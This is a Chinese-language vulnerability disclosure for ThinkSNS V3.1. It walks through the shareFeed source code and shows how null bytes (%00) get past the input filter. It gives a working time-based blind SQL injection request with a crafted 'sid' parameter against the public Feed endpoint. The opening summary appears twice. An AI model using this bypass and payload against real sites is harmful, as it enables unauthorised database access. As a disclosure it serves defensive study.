### 简要描述: ThinkSNS 防御绕过思路(union select 真正的无限制sql注射) ### 详细说明: 经过我们的分析%00可以全局绕过: ``` public function shareFeed() { // 获取传入的值 $post = $_POST; // 安全过滤 foreach($post as $key => $val) { $post[$key] = t($post[$key]); } // 过滤内容值 $post['body'] = filter_keyword($post['body']); // 判断资源是否删除 if(empty($post['curid'])) { $map['feed_id'] = $post['sid']; } else { $map['feed_id'] = $post['curid']; } $map['is_del'] = 0; $isExist = model('Feed')->where($map)->count(); if($isExist == 0) { $return['status'] = 0; $return['data'] = '内容已被删除,转发失败'; exit(json_encode($return)); } // 进行分享操作 $return = model('Share')->shareFeed($post, 'share'); ``` 跟进去shareFeed: ``` public function shareFeed($data, $from = 'share', $lessUids = null) { // 返回的数据结果集 $return = array('status'=>0,'data'=>L('PUBLIC_SHARE_FAILED'));// 分享失败 // 验证数据正确性 if(empty($data['sid'])) { return $return; } // type是资源所在的表名 $type = t($data['type']); // 当前产生微博所属的应用 $app = isset($data['app_name']) ? $data['app_name'] : APP_NAME; // 是否为接口形式 $forApi =...
### 简要描述: ThinkSNS 防御绕过思路(union select 真正的无限制sql注射) ### 详细说明: 经过我们的分析%00可以全局绕过: ``` public function shareFeed() { // 获取传入的值 $post = $_POST; // 安全过滤 foreach($post as $key => $val) { $post[$key] = t($post[$key]); } // 过滤内容值 $post['body'] = filter_keyword($post['body']); // 判断资源是否删除 if(empty($post['curid'])) { $map['feed_id'] = $post['sid']; } else { $map['feed_id'] = $post['curid']; } $map['is_del'] = 0; $isExist = model('Feed')->where($map)->count(); if($isExist == 0) { $return['status'] = 0; $return['data'] = '内容已被删除,转发失败'; exit(json_encode($return)); } // 进行分享操作 $return = model('Share')->shareFeed($post, 'share'); ``` 跟进去shareFeed: ``` public function shareFeed($data, $from = 'share', $lessUids = null) { // 返回的数据结果集 $return = array('status'=>0,'data'=>L('PUBLIC_SHARE_FAILED'));// 分享失败 // 验证数据正确性 if(empty($data['sid'])) { return $return; } // type是资源所在的表名 $type = t($data['type']); // 当前产生微博所属的应用 $app = isset($data['app_name']) ? $data['app_name'] : APP_NAME; // 是否为接口形式 $forApi = $data['forApi'] ? true : false; if(!$oldInfo = model('Source')->getSourceInfo($type, $data['sid'], $forApi, $data['app_name'])) { ``` 这里有两个变量可以控制操作那个表: 再跟进来看看: ``` public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') { static $forApi = '0'; $forApi == '0' && $forApi = intval ( $_forApi ); $key = $forApi ? $table . $row_id . '_api' : $table . $row_id; if ($info = static_cache ( 'source_info_' . $key )) { return $info; } switch ($table) { case 'feed' : $info = $this->getInfoFromFeed ( $table, $row_id, $_forApi ); ``` 经过参数$type, $data['sid'] 可以构造一个新的表,我们发送url: http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Feed&act=shareFeed postdata: body=ccccccc&curid=1&type=user_data&sid=1 and if(ascii(substr((select user() fro%00m ts_user_data)1,1))=114,slee%00p(5),1)&app_name= ok.......... ### 漏洞证明: